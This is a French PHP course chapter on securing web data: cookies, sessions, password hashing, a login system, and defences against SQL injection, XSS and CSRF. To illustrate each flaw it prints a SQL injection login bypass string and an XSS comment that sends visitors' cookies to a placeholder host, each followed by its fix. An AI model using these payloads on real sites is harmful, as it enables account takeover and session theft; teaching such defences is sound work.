Sécuriser les données

Sécuriser les données | Med Learning

Leçon 1

Les cookies

Créer, lire et supprimer un cookie

php

<?php
// créer : AVANT tout affichage (c'est un en-tête HTTP)
setcookie('theme', 'sombre', [
    'expires' => time() + 30 * 24 * 3600,   // dans 30 jours (timestamp Unix)
    'path' => '/',                          // valable sur tout le site
    'secure' => true,                       // envoyé seulement en HTTPS
    'httponly' => true,                     // inaccessible à JavaScript
    'samesite' => 'Lax',                    // pas envoyé lors des requêtes POST venant d'autres sites
]);

// lire : disponible à la requête SUIVANTE
$theme = $_COOKIE['theme'] ?? 'clair';

// supprimer : une date d'expiration dans le passé
setcookie('theme', '', ['expires' => time() - 3600, 'path' => '/']);

Option	Rôle
`expires`	date d'expiration (timestamp) ; `0` : supprimé à la fermeture du navigateur
`path`, `domain`	le chemin et le (sous-)domaine où le cookie est envoyé
`secure`	envoyé uniquement en HTTPS
`httponly`	invisible pour JavaScript (`document.cookie`) : protège contre le vol par XSS
`samesite`	`Strict` (jamais envoyé depuis un autre site), `Lax` (seulement les navigations GET), `None` (toujours, avec `secure`) : protège contre le CSRF

Leçon 2

Les sessions

	Cookie	Session
stockage	chez le client	sur le serveur (seul l'identifiant est dans un cookie)
modifiable par l'utilisateur	oui	non
taille	4 Ko par cookie	sans limite pratique

Leçon 3

Un système de connexion sécurisé

Vidéo · À regarder

PHP Full Course 2025 - Learn PHP from Scratch

Dani Krossing · YouTube

Regarde de 7:20:00 à 7:42:0922 min 9 s

Ouvrir sur YouTube à 7:20:00

Vidéo · À regarder

Leçon 4

Les attaques courantes et leurs parades

Attaque	Principe	Parade
injection SQL	une saisie contient du SQL qui modifie la requête	requêtes préparées (chapitre 7) ; compte MySQL aux droits limités
XSS (cross-site scripting)	une saisie contient du JavaScript, affiché puis exécuté chez les autres visiteurs	`htmlspecialchars()` à l'affichage ; cookies `httponly`
CSRF (falsification de requête intersite)	un autre site fait envoyer au navigateur d'un utilisateur connecté une requête à son insu	jeton CSRF dans les formulaires ; `samesite` ; POST pour les modifications

Leçon 5

La configuration sécurisée

Directive	Valeur conseillée	Effet
`session.use_only_cookies`	`1`	l'identifiant n'est jamais accepté dans l'URL
`session.use_strict_mode`	`1`	refuse un identifiant inventé par le client (fixation)
`session.cookie_httponly`	`1`	cookie de session inaccessible à JavaScript
`session.cookie_secure`

Travaux pratiques

TP · L'espace stagiaires sécurisé

Exercices

Exercice 8.1

Choisis la bonne réponse

1Les données d'une session sont stockées…
2Pour qu'un cookie soit invisible pour JavaScript :
3session_start() doit être appelé…
4Pour stocker un mot de passe :
5La parade principale contre l'injection SQL est…
6La parade principale contre le XSS est…
7session_regenerate_id(true) à la connexion protège contre…
8En production, display_errors vaut…

0/8 répondues

Exercice 8.2

Identifie l'attaque

Exercice 8.3

Le compteur de visites et la préférence

L'essentiel du chapitre

À retenir

HTTP est sans état : on transmet l'état par champs cachés, URL, cookies (chez le client) ou sessions (sur le serveur).
setcookie(nom, valeur, ['expires', 'path', 'secure', 'httponly', 'samesite']) avant tout affichage ; lecture dans $_COOKIE ; jamais de donnée de confiance dans un cookie.
session_start() en tête de page ; $_SESSION ; déconnexion : vider, supprimer le cookie, session_destroy().
Mots de passe : password_hash() / password_verify() ; session_regenerate_id(true) à la connexion.
Parades : requêtes préparées (injection SQL), htmlspecialchars (XSS), jeton CSRF + samesite (CSRF), basename (traversée), HTTPS + httponly + secure (vol de session).
Production : display_errors = Off, log_errors = On, expose_php = Off, configuration hors du dossier public, mises à jour.

Le fonctionnement d'une session

txt

1re requête   navigateur  ──────────────────────►  serveur : session_start() crée l'id a3f9…
              navigateur  ◄── Set-Cookie: PHPSESSID=a3f9…   et stocke $_SESSION dans un fichier
requêtes      navigateur  ── Cookie: PHPSESSID=a3f9… ──►  serveur : session_start() recharge
suivantes                                                  les données de a3f9… dans $_SESSION

Utiliser une session

php

<?php
session_start();                          // en tout début de CHAQUE page qui utilise la session

$_SESSION['prenom'] = 'Sara';             // écrire
$_SESSION['panier'][] = 'Clavier';        // un tableau en session

echo $_SESSION['prenom'] ?? 'invité';     // lire (sur cette page ou une autre)
unset($_SESSION['panier']);               // supprimer une donnée

deconnexion.php : détruire complètement la session

php

<?php
session_start();
$_SESSION = [];                                            // vider les données
if (ini_get('session.use_cookies')) {
    $p = session_get_cookie_params();
    setcookie(session_name(), '', time() - 3600, $p['path'], $p['domain'], $p['secure'], $p['httponly']);
}
session_destroy();                                         // supprimer le fichier de session
header('Location: connexion.php');
exit;

Hacher et vérifier

php

<?php
$hash = password_hash('MonMotDePasse#2026', PASSWORD_DEFAULT);
// $2y$10$Qe8z… : 60 caractères, différent à chaque appel grâce au sel

var_dump(password_verify('MonMotDePasse#2026', $hash));   // bool(true)
var_dump(password_verify('mauvais', $hash));              // bool(false)

La table des utilisateurs

sql

CREATE TABLE utilisateurs (
  id INT AUTO_INCREMENT PRIMARY KEY,
  email VARCHAR(100) NOT NULL UNIQUE,
  mot_de_passe VARCHAR(255) NOT NULL,      -- 255 : les algorithmes futurs produiront des hachés plus longs
  role ENUM('stagiaire', 'formateur', 'admin') NOT NULL DEFAULT 'stagiaire'
);

connexion.php

php

<?php
session_start();
require __DIR__ . '/config/database.php';
$erreur = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = trim($_POST['email'] ?? '');
    $mdp = $_POST['mot_de_passe'] ?? '';

    $stmt = connexion()->prepare('SELECT id, email, mot_de_passe, role FROM utilisateurs WHERE email = ?');
    $stmt->execute([$email]);
    $u = $stmt->fetch();

    if ($u && password_verify($mdp, $u['mot_de_passe'])) {
        session_regenerate_id(true);           // nouvel identifiant : contre la fixation de session
        $_SESSION['utilisateur'] = ['id' => $u['id'], 'email' => $u['email'], 'role' => $u['role']];
        header('Location: tableau_de_bord.php');
        exit;
    }
    $erreur = 'E-mail ou mot de passe incorrect.';     // ne pas dire lequel des deux est faux
}
?>
<?php if ($erreur): ?><p style="color:red"><?= $erreur ?></p><?php endif; ?>
<form method="post">
  <input type="email" name="email" placeholder="E-mail" required>
  <input type="password" name="mot_de_passe" placeholder="Mot de passe" required>
  <button>Se connecter</button>
</form>

securite.php : protéger les pages

php

<?php
session_start();

function exigerConnexion(?string $role = null): array
{
    $u = $_SESSION['utilisateur'] ?? null;
    if (!$u) {
        header('Location: connexion.php');
        exit;
    }
    if ($role !== null && $u['role'] !== $role) {
        http_response_code(403);
        exit('Accès interdit.');
    }
    return $u;
}

La faille et sa correction

php

<?php
// FAILLE : la saisie est collée dans la requête
$email = $_POST['email'];   // l'attaquant tape :   ' OR '1'='1' --
$sql = "SELECT * FROM utilisateurs WHERE email = '$email'";
// la requête devient : SELECT * FROM utilisateurs WHERE email = '' OR '1'='1' -- '
// la condition est toujours vraie : l'attaquant se connecte avec le premier compte (souvent l'admin)

// CORRECTION : requête préparée, la saisie reste une simple valeur
$stmt = $pdo->prepare('SELECT * FROM utilisateurs WHERE email = ?');
$stmt->execute([$_POST['email']]);

La faille et sa correction

php

<?php
// un visiteur publie ce commentaire :
$commentaire = '<script>fetch("https://pirate.ex/?c=" + document.cookie)</script>';

echo $commentaire;                       // FAILLE : le script s'exécute chez chaque lecteur
echo htmlspecialchars($commentaire);     // CORRECT : &lt;script&gt;… s'affiche comme du texte

function e(?string $texte): string       // une fonction courte pour tout le projet
{
    return htmlspecialchars($texte ?? '', ENT_QUOTES, 'UTF-8');
}

Ajouter un jeton aux formulaires sensibles

php

<?php
session_start();
if (empty($_SESSION['csrf'])) {
    $_SESSION['csrf'] = bin2hex(random_bytes(32));          // un jeton aléatoire par session
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!hash_equals($_SESSION['csrf'], $_POST['csrf'] ?? '')) {
        http_response_code(403);
        exit('Requête refusée (jeton CSRF invalide).');
    }
    // … traitement de la suppression, du changement de mot de passe …
}
?>
<form method="post">
  <input type="hidden" name="csrf" value="<?= $_SESSION['csrf'] ?>">
  <button>Supprimer mon compte</button>
</form>